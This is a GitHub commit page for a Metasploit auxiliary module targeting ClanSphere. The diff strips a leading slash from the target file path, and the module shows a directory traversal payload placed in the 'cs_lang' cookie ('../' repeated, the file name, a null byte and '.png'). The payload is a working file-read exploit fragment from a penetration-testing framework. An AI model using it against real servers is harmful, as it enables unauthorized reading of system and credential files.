Skip to content

Commit 3f3e681

Browse files
committed
Make sure no extra '/' in there
1 parent 34731c3 commit 3f3e681

File tree

1 file changed

+5
-1
lines changed

1 file changed

+5
-1
lines changed

modules/auxiliary/scanner/http/clansphere_traversal.rb

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -51,11 +51,15 @@ def run_host(ip)
5151
peer = "#{ip}:#{rport}"
5252

5353
print_status("#{peer} - Reading '#{datastore['FILE']}'")
54+
5455
traverse = "../" * datastore['DEPTH']
56+
f = datastore['FILE']
57+
f = f[1, f.length] if f =~ /^\//
58+
5559
res = send_request_cgi({
5660
'method' => 'GET',
5761
'uri' => "#{base}index.php",
58-
'cookie' => "blah=blah; cs_lang=#{traverse}#{datastore['FILE']}%00.png"
62+
'cookie' => "blah=blah; cs_lang=#{traverse}#{f}%00.png"
5963
})
6064

6165
if res and res.body =~ /^Fatal error\:/

0 commit comments

Comments
 (0)